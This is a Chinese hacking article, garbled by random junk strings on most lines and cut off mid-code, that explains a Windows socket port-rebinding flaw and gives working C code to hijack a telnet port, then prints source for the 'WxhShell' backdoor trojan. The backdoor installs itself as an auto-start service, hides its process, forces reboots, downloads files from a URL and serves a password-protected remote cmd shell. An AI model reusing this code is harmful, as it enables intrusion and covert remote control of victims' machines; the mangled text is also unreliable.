在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>jRH<|Az s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
F3=iyiz6 Ou5,7Ne saddr.sin_family = AF_INET;
js[H $ 5
8n(fdE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xG8z4Yu l~#%j( Yo bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qlg?'l$03) `7jdV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
en8l:INX 4*?JU
v 这意味着什么?意味着可以进行如下的攻击:
osPrr QoH ;T|hNsSt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
tW \q;_DSr *k
!zdV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Uq=!>C8 8?[#\KgH1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^2eH0O! Yg!xlrxA 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c.Do b?5 K)nn;j= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I`[s(C>3@ 9D H}6fO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b\^9::oY QmY1Bn?s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dL|*#e !A#(bC #include
jB0ED0)wX #include
t4FaU7 #include
5tcJTz #include
822 jZ
sb DWORD WINAPI ClientThread(LPVOID lpParam);
*K=Yrisz int main()
S)z5=N(Xz {
g6(u6%MD WORD wVersionRequested;
tRmH6
DWORD ret;
{f[X) WSADATA wsaData;
O;SD90 BOOL val;
iNEE2BPp SOCKADDR_IN saddr;
@WO>F G3 SOCKADDR_IN scaddr;
{PQ!o^7y int err;
DS>qth SOCKET s;
vj+ S SOCKET sc;
O_[]+5.TX int caddsize;
tN&_f==e HANDLE mt;
j[&C6l+wH DWORD tid;
ALl0(<u67 wVersionRequested = MAKEWORD( 2, 2 );
;eiqzdP err = WSAStartup( wVersionRequested, &wsaData );
[LrA_N if ( err != 0 ) {
XZ1WY( printf("error!WSAStartup failed!\n");
WG(%Pkowv return -1;
G&v. cF#Y' }
Q\{$&0McF saddr.sin_family = AF_INET;
2[TssJQ mIkc+X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[;qZu`n> 0OPpA Ll saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0\Ga&Q0-(O saddr.sin_port = htons(23);
8VLD yX2- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z! /
MBM {
Kk<MS$Ov printf("error!socket failed!\n");
(Gpk;DD return -1;
t9+ME| }
V.12 val = TRUE;
u<a =TPAU //SO_REUSEADDR选项就是可以实现端口重绑定的
sN9
SuQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.qG*$W2f {
/6d:l>4 printf("error!setsockopt failed!\n");
0
|Y'@& return -1;
;OY*`(Id }
N77EM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$][$ e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QP0[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
n
2m!a0; {ZrB,yK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n>
O3p
~ {
v#o<.
Ig ret=GetLastError();
$ H2HVJ printf("error!bind failed!\n");
(&ABfm/t return -1;
d vTsbs/6 }
P1Chmg listen(s,2);
SVc5mS|up while(1)
Lyj0$wbH` {
3f^~mTY9>] caddsize = sizeof(scaddr);
KMZEUmY1R1 //接受连接请求
Y~ ( <H e? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#Hy fjj if(sc!=INVALID_SOCKET)
2*9rhOK* {
yHt
`kb2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O]N
8QH if(mt==NULL)
~Y /55uC {
>Vvjs printf("Thread Creat Failed!\n");
#(Ah>y break;
wk (}q }
a0=5G>G9c }
5Sfz0 CloseHandle(mt);
KD)+&69 }
gBCO>nJws closesocket(s);
x0 dO^D WSACleanup();
#}U*gVYe return 0;
6fr@y=s2: }
q*B(ZG DWORD WINAPI ClientThread(LPVOID lpParam)
S|HnmkV66 {
ZQQ0} SOCKET ss = (SOCKET)lpParam;
Rr0@F`"R SOCKET sc;
A/+bwCDP unsigned char buf[4096];
+~L26T\8 SOCKADDR_IN saddr;
O.g!k"nas& long num;
F"*.Qq DWORD val;
fR6.:7& DWORD ret;
DRUvQf //如果是隐藏端口应用的话,可以在此处加一些判断
GDUOUl& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
uqMe% saddr.sin_family = AF_INET;
@<W^/D1#L saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!<P|:Oo*Dl saddr.sin_port = htons(23);
L[s8`0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vQiKpO* {
= g[Cs* printf("error!socket failed!\n");
bEz1@"~
p return -1;
%]15=7#'y }
5/>W(,5} val = 100;
PF4"J^V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F:o<E 42 {
Qso"jYl< ret = GetLastError();
hn@T ]k return -1;
u^!c:RfE? }
&bO5+[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^KeJ=VT {
Z1t?+v+Ro* ret = GetLastError();
vS$_H<;P return -1;
n)'5h }
#~Z55D_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!y{t}|U/d {
wC~ra:/?:7 printf("error!socket connect failed!\n");
XW*,Lo5>H\ closesocket(sc);
@\|W#,~ closesocket(ss);
=vaC?d3 return -1;
z:_o3W.E }
U=a'(fX while(1)
#r ;;d( {
10 D6fkjf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GvCB3z //如果是嗅探内容的话,可以再此处进行内容分析和记录
8 FqhSzw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?tJyQT num = recv(ss,buf,4096,0);
K3WhF if(num>0)
P e\AH send(sc,buf,num,0);
:+m8~n$/ else if(num==0)
Zss `## break;
qf7oG0 num = recv(sc,buf,4096,0);
W=9Zl(2C if(num>0)
0gEtEH+ send(ss,buf,num,0);
7K|:
7e( else if(num==0)
5:o$]LkOWC break;
1gTW*vLM\ }
r[TTG0| closesocket(ss);
&%ZiI@O- closesocket(sc);
o?Wp[{K return 0 ;
.[E"Kb}= }
-666|pA 6^oQ8unmS >brf7h ==========================================================
9<9 c^2 i"h '^6M1 下边附上一个代码,,WXhSHELL
aa'u5<<W L6xLD X7y ==========================================================
U%7| iK 9 NO^ ' #include "stdafx.h"
PyS~2)=B B4<W%lm #include <stdio.h>
Zw)*+> +FV #include <string.h>
!IZbMn6 #include <windows.h>
L+c7.l.yT #include <winsock2.h>
nY#V~^| #include <winsvc.h>
v[aFSXGj) #include <urlmon.h>
$ON4nx lE8M.ho\ #pragma comment (lib, "Ws2_32.lib")
0{8^)apII #pragma comment (lib, "urlmon.lib")
AF=9KWqf
3N'f Hy #define MAX_USER 100 // 最大客户端连接数
yC]xYn) #define BUF_SOCK 200 // sock buffer
GAZw4dz #define KEY_BUFF 255 // 输入 buffer
C^o9::ER ;Jn"^zT #define REBOOT 0 // 重启
7#
/c7 #define SHUTDOWN 1 // 关机
jL|y4 g=*`6@_= #define DEF_PORT 5000 // 监听端口
N34.Bt #SHmAB #define REG_LEN 16 // 注册表键长度
Xm|Uz`A; #define SVC_LEN 80 // NT服务名长度
f1a >C 3H_mR
j9th // 从dll定义API
y;!q E~!3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`Jvy~T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bN,>,hj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
aAlES< r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)wmG&"qsP m#D+Yh/y{n // wxhshell配置信息
n>)'! struct WSCFG {
92@/8,[ int ws_port; // 监听端口
X`[P11` char ws_passstr[REG_LEN]; // 口令
ndSM*Fq int ws_autoins; // 安装标记, 1=yes 0=no
wH=L+bA>a char ws_regname[REG_LEN]; // 注册表键名
COE,pb17 char ws_svcname[REG_LEN]; // 服务名
+s*OZ6i [ char ws_svcdisp[SVC_LEN]; // 服务显示名
%TY;}V59 b char ws_svcdesc[SVC_LEN]; // 服务描述信息
fQ\nK H~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fkprTk^# int ws_downexe; // 下载执行标记, 1=yes 0=no
p)t1]<,Of char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_h%
:Tu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wknr^A K+0&~XU };
LqH<HGMFD
c]#+W@$ // default Wxhshell configuration
KuU]enC3 struct WSCFG wscfg={DEF_PORT,
<Rs#y: "xuhuanlingzhe",
|Ef\B]Ns 1,
]x8_f6;D "Wxhshell",
O8;`6r "Wxhshell",
|WopsV
% "WxhShell Service",
o -< 5< "Wrsky Windows CmdShell Service",
m=^`u:= "Please Input Your Password: ",
D 8nt%vy 1,
LQ,RQ~! "
http://www.wrsky.com/wxhshell.exe",
S$CO T)7 "Wxhshell.exe"
hX-([o };
+GgJFBl Q?f%]uGFQ // 消息定义模块
1v)X]nW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
a@|/D\C char *msg_ws_prompt="\n\r? for help\n\r#>";
[DW}z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}Pm>mQZ}, char *msg_ws_ext="\n\rExit.";
~R;9a"nr char *msg_ws_end="\n\rQuit.";
16iymiLz& char *msg_ws_boot="\n\rReboot...";
.k{omr&Dy5 char *msg_ws_poff="\n\rShutdown...";
;2o+|U@ char *msg_ws_down="\n\rSave to ";
|4UU`J9M p*11aaIbp~ char *msg_ws_err="\n\rErr!";
-hM
nA)+ char *msg_ws_ok="\n\rOK!";
#q;hX;Va Xx;RH9YYz char ExeFile[MAX_PATH];
4_CV.? int nUser = 0;
JvA6 kw, HANDLE handles[MAX_USER];
pUvbIbg+ int OsIsNt;
_3q% y-UutI& SERVICE_STATUS serviceStatus;
b&LfL$
SERVICE_STATUS_HANDLE hServiceStatusHandle;
.YvE 8
S'g% // 函数声明
89I[Dg;"u int Install(void);
sZ,MN F8i int Uninstall(void);
O"otzla int DownloadFile(char *sURL, SOCKET wsh);
bYr;~
^ int Boot(int flag);
{x{/{{wzv void HideProc(void);
^y.e
Fz int GetOsVer(void);
d^"dL" Q6m int Wxhshell(SOCKET wsl);
cz8%p;F: void TalkWithClient(void *cs);
HaP0;9q int CmdShell(SOCKET sock);
| v?
pS int StartFromService(void);
r]x;JBy int StartWxhshell(LPSTR lpCmdLine);
uV]4C^k;`[ ],*^wQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$9GRA M. VOID WINAPI NTServiceHandler( DWORD fdwControl );
5xZ *U Mr}]P(4h // 数据结构和表定义
Onr#p4UT SERVICE_TABLE_ENTRY DispatchTable[] =
4(aDi;x "w {
ILt95l {wscfg.ws_svcname, NTServiceMain},
s5 2c`+ {NULL, NULL}
dzYB0vut@ };
p100dJvq ;H#'9p ,2 // 自我安装
I0 y+,~\ int Install(void)
a8T<f/qW k {
\Vis char svExeFile[MAX_PATH];
>3H/~ Y HKEY key;
=d/\8\4 strcpy(svExeFile,ExeFile);
d*26;5~\ +"Pt? k // 如果是win9x系统,修改注册表设为自启动
h+mM if(!OsIsNt) {
B;'Dh<J1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e&dE>m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$!c)%qDq RegCloseKey(key);
\Nc/W!r*9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/^~3Ib8Fw+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,s'78Dc$ RegCloseKey(key);
.BsZ.!MPL( return 0;
DPvM|n`TW }
n{F$,a }
~mc7O }
yD
iL else {
q<> W G2 E3y // 如果是NT以上系统,安装为系统服务
JZp*"UzQr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\Q"o\:IoIT if (schSCManager!=0)
!Gu,X'#Ab {
&x{CC@g/ SC_HANDLE schService = CreateService
./@!k[ (
C+-GE9= schSCManager,
qu[ ~# wscfg.ws_svcname,
YV*s1t/ wscfg.ws_svcdisp,
@Md%gEh;& SERVICE_ALL_ACCESS,
:8}QKp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.op:
2y9] SERVICE_AUTO_START,
-ea>}S SERVICE_ERROR_NORMAL,
Y:C7S~ svExeFile,
uhL+bj+W NULL,
d%?+q0j NULL,
:mLcb.E NULL,
<,d .`0:y NULL,
PL/as3O^A NULL
3vPb} );
\P]w^ if (schService!=0)
<v;;:RB6c {
I*R[8| CloseServiceHandle(schService);
_aVrQ@9 CloseServiceHandle(schSCManager);
OaU-4
~n; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Uw^`_\si strcat(svExeFile,wscfg.ws_svcname);
*vFVXJo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
R6HMi#eF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tS,nO:+x RegCloseKey(key);
-x2/y:q ` return 0;
Q[^IX }
}l&Uh&B` }
([zt}uf CloseServiceHandle(schSCManager);
6Y6DkFdvrZ }
iph>"b$D }
v5l)T}Nb T1hr5V<U return 1;
Ed ,`1+ }
8;;!2>N n'=-bj` // 自我卸载
sBY*9I int Uninstall(void)
Ar4E $\W {
6H67$?jMyJ HKEY key;
}$3eRu + |n=m{JX \m if(!OsIsNt) {
Q[_{:DJA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{]<l|qK RegDeleteValue(key,wscfg.ws_regname);
X=_pQ+j`^ RegCloseKey(key);
'Ca6cm3Tg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q%TWtQS RegDeleteValue(key,wscfg.ws_regname);
1C\OL!@L RegCloseKey(key);
?D-1xnxep return 0;
G\G TS}u[ }
n"8vlNeW }
ES!$JWK| }
3^
~M7=k else {
LnIln[g: py.lGywb_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ia
1Sf3 if (schSCManager!=0)
D-e0q)RSU {
zbK=yOIOd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3Yf&F([t if (schService!=0)
'_,/N!-V {
n/#zx:d? if(DeleteService(schService)!=0) {
m7wD#?lm CloseServiceHandle(schService);
j_*$Avy CloseServiceHandle(schSCManager);
"a))TV%N return 0;
Bz<T{f }
qd#?8 CloseServiceHandle(schService);
"V-k_d " }
\"Z^{Y[,; CloseServiceHandle(schSCManager);
ifj%!* }
CsHHJgx }
n2&*5m&$ .zQ:u{FT return 1;
[P.M>"c\ }
>)*'w! twElLOE // 从指定url下载文件
c* 2U'A int DownloadFile(char *sURL, SOCKET wsh)
n%zW6} {
OE' ?3S HRESULT hr;
:8b{|}aYV char seps[]= "/";
sC
>_ulkoa char *token;
6 "fYSn> char *file;
|U{9Yy6p char myURL[MAX_PATH];
VuA7rIF$66 char myFILE[MAX_PATH];
it]im eKjmU | H strcpy(myURL,sURL);
MCOiB<L6 token=strtok(myURL,seps);
(5-
w>( while(token!=NULL)
t80s(e {
!/]F.0 file=token;
[U9b_` token=strtok(NULL,seps);
~hK7(K }
X[/>{rK Zjqa n GetCurrentDirectory(MAX_PATH,myFILE);
S3#NGBZ/ strcat(myFILE, "\\");
Uytq,3Gj6 strcat(myFILE, file);
MMlryn||1 send(wsh,myFILE,strlen(myFILE),0);
Mo?eVtZ send(wsh,"...",3,0);
nOq?Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zVN/|[KP4 if(hr==S_OK)
"Tw4'AY'P return 0;
_)|_KQQu else
:5)Dn87 return 1;
,n\"zYf]^ |;xm-AM4r }
:"m~tU3& 8A q [@i // 系统电源模块
FY;\1bt<< int Boot(int flag)
#a1zk\R3 {
590.mCm HANDLE hToken;
0IZaf%zYc TOKEN_PRIVILEGES tkp;
-s~6FrKy %
mP%W< if(OsIsNt) {
rP4v_?Zg+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
wQ1_Q8 :Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$DPMi9,7^ tkp.PrivilegeCount = 1;
-64@}Ts*? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^RL#(O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
TUE*mDRmP if(flag==REBOOT) {
Skb,cKU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2_S%vA<L return 0;
{
'A`ram }
mL5 Nu+# else {
$;O-1# ] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V+\L@mz; return 0;
0cYd6u@ }
$~>3bik@ }
N$'/J-^ else {
0!4;."S if(flag==REBOOT) {
'5^$v{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
R$>]7-N} return 0;
/"~ D(bw0= }
4Vv~ else {
cb36 ~{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[^N8v;O return 0;
(tZ#EL0 }
f/1soGA }
Mn)>G36( B #o/3 return 1;
8(AI|"A"- }
=J@M,mbHg L&D+0p^lI // win9x进程隐藏模块
[G.4S5FX.] void HideProc(void)
OO7sj@ {
~Onj|w7 m7~<z>5$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G,jv Mb`+ if ( hKernel != NULL )
#=}dv8 {
q,e{t#t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cImOZx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{c
82bFiv FreeLibrary(hKernel);
h;q=<[h\ }
4=;.< ZQL4<fy'E return;
Lg;b17 }
'7'*+sgi$ ^Vbx9UN/ // 获取操作系统版本
O
}ES/<an int GetOsVer(void)
5g x9W\a ? {
|E&
Fe8 OSVERSIONINFO winfo;
I "8:IF winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rP5&&Hso GetVersionEx(&winfo);
J
8!D."'Q0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2s^9q9NS" return 1;
">8]Oi;g else
/J0YF
return 0;
.o27uB. }
"wPA;4VQ 9s#Q[\B! // 客户端句柄模块
`[OJ)tHE int Wxhshell(SOCKET wsl)
{Df97n%h; {
tK
$r_* SOCKET wsh;
U-U^N7 struct sockaddr_in client;
5s5GBJ? DWORD myID;
G}2DZ=&>' X@["Jjp while(nUser<MAX_USER)
P!6v0ezN {
^~p^N < int nSize=sizeof(client);
34D7qR wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
nnzfKn:J if(wsh==INVALID_SOCKET) return 1;
Hm>7|! g9T9TQ-O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@]{+9m8G@ if(handles[nUser]==0)
m
L#%H( closesocket(wsh);
cC4 2b2+
else
_mEW]9Sp nUser++;
hJ)\Vo }
JU6PBY~C' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_,"?R]MO f;PPB@ :`$ return 0;
Wl29xY}`{! }
A"Prgf
eT 5xS
ze; // 关闭 socket
(Yv )%2 void CloseIt(SOCKET wsh)
<FkoWN {
z PW [GkD closesocket(wsh);
fwN'5ep nUser--;
:rdw0EROy ExitThread(0);
Tc3~~ X }
}k{h^!fV -&7\do< // 客户端请求句柄
odPdWV,&* void TalkWithClient(void *cs)
'Nqa=_<WW {
n[E#K`gg' FX
yyY-(O SOCKET wsh=(SOCKET)cs;
sC<
B char pwd[SVC_LEN];
#GlQwk3 char cmd[KEY_BUFF];
Li? _P5+a char chr[1];
lMQ_S" int i,j;
|e%o >l>;"R9N while (nUser < MAX_USER) {
4Y>J,c j "^V?e5 if(wscfg.ws_passstr) {
MS=zG53y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4g%BCGsys //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@:ojt$ //ZeroMemory(pwd,KEY_BUFF);
.boBo$f
i=0;
a*D])Lu[ while(i<SVC_LEN) {
\y^Ho1Fj %x]8^vze // 设置超时
r](%9Y fd_set FdRead;
L3@upb struct timeval TimeOut;
$*k9e ^{S FD_ZERO(&FdRead);
CI}zu;4| FD_SET(wsh,&FdRead);
sN_c4"\q TimeOut.tv_sec=8;
Rn4Bl8z'> TimeOut.tv_usec=0;
;Pd nE~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~CRd0T[^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
BPwn!ii| BB .^[:,dA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
V9 J`LQ\0 pwd
=chr[0]; en?J#fz
if(chr[0]==0xd || chr[0]==0xa) { :ot^bAyt|
pwd=0; h8)m2KrZ!.
break; z5_#]:o&
} JK/VIu&!
i++; y+"6Y14
} ox&PFI0Gn
knS(\51A
// 如果是非法用户,关闭 socket bZKlQ<sI
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h@H8oZ[
} N6%wHNYZ
S!r,p};
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .IkQo`_s:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d7
W[.M$]
U%?
while(1) { `Jv~.EF%
%vZTD+i
ZeroMemory(cmd,KEY_BUFF); GLpl
v&]k8Hc-
// 自动支持客户端 telnet标准 O`rKxP
j=0; Mcfqo0T-
while(j<KEY_BUFF) { W-8U~*/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -
fx?@
cmd[j]=chr[0]; )a=58r07
if(chr[0]==0xa || chr[0]==0xd) { ~_GW
cmd[j]=0; /T\'&s3D+
break; vS1#ien#
} CUI\:a-
j++; N7l`-y
} }1}L&M@
pcC/$5FQ
// 下载文件 YA:!ULzR*
if(strstr(cmd,"http://")) { "+sl(A3`U
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7ZR0cJw;
if(DownloadFile(cmd,wsh)) Iss)7I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0vjlSHS;`.
else *2^+QKDG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Im%L=q9GL
} $9@jV<Q1
else { <oKoz0!
oQL$X3S
switch(cmd[0]) { `iZ){JfAH
30fqD1_{
// 帮助 LLD#)Jl{?
case '?': { |EZ\+!8N:{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {"vTaY@
break; !3;KC"o
} kW4B
@Zh
// 安装 +LhV4@zC
case 'i': { |x+g5~$
if(Install()) $_Kcm"oj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E'iN==p_:
else EN-;@P9;C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $VNj0i. Pr
break; Q^ }Ib[
} Em]2K:
// 卸载 76eF6N+%}t
case 'r': { qx f8f
if(Uninstall()) r>_40+|&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZGsI\3S
else &\m=|S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 12o6KVV^x
break; *;@wPT
} 1
tOslP@
// 显示 wxhshell 所在路径 OjhX:{"59
case 'p': { eN<L)a:J_
char svExeFile[MAX_PATH]; 8xENzTR
strcpy(svExeFile,"\n\r"); /<) Vd
strcat(svExeFile,ExeFile); 1(@$bsgu2
send(wsh,svExeFile,strlen(svExeFile),0); f- (i%
break; ktrIi5B
} LWCFCkx%
// 重启 HThZ4Kg+
case 'b': { Zp)=l Td
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O[VY|.MEk
if(Boot(REBOOT)) <yipy[D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >OaD7
else { O2 >c|=#
closesocket(wsh); bY#BK_8 :
ExitThread(0); +51heuu[o
} "`ftcJUd
break; 8;?4rrS
} p
XXf5adl<
// 关机 r>(,)rs(l
case 'd': { vS\ 2zwb}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $6Q^ur:
if(Boot(SHUTDOWN)) p?f\/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XSC=qg$
else { u79- B-YW^
closesocket(wsh); [eD0L71[
ExitThread(0); At\(/Zy
} Dsm1@/"i|7
break; ^($'l)I
} K\2{SjL:B
// 获取shell FL{?W (M
case 's': { f7a4E+}
CmdShell(wsh); v\,N"X(,
closesocket(wsh); ??"_o3
ExitThread(0); Gt.'_hf Js
break; @F5Af/
} zzZEX
// 退出 &MSU<S?1
case 'x': { P)K$+oo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `sKyvPtG
CloseIt(wsh); e>z"{ u(F0
break; 2#7|zhgb
} n- 2X?<_Z
// 离开 V^,gpTyv*
case 'q': { Iuxf`sd
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &q>8D'
closesocket(wsh); Lyhuyb)k5^
WSACleanup(); $Er=i }`
exit(1); B4b'0p
break; ,m<YSMKX
} `r}_92Tt
} Ow4 _0l&
} (%fQhQ
w||t3!M+n
// 提示信息 x/O;8^b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<ShUN
} jg?UwR&
} G^Gs/-
f
<'4Wne.z!
return; hTDGgSG^
} ya&=UoI
WPRk>j
// shell模块句柄 q8$t4_pF
int CmdShell(SOCKET sock) &|XgWZS5
{ zjUQ]
STARTUPINFO si; >.qFhO\1so
ZeroMemory(&si,sizeof(si)); :i!fPN n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^# $IoW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z)|~
PROCESS_INFORMATION ProcessInfo; 4C`RxQJM
char cmdline[]="cmd"; )3CM9P'0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B[ZQn]y
return 0; nDvfb*\
} rpiuFst
=wX;OK|U(^
// 自身启动模式 TIJH}Ri
int StartFromService(void) |6Y:W$7k
{ us.[wp'Sh
typedef struct Wq3PN^
{ T)e2IXGN
DWORD ExitStatus; (/uN+
DWORD PebBaseAddress; zCJ"O9G<V
DWORD AffinityMask; d[?RL&hJO
DWORD BasePriority; 2@MpWj4
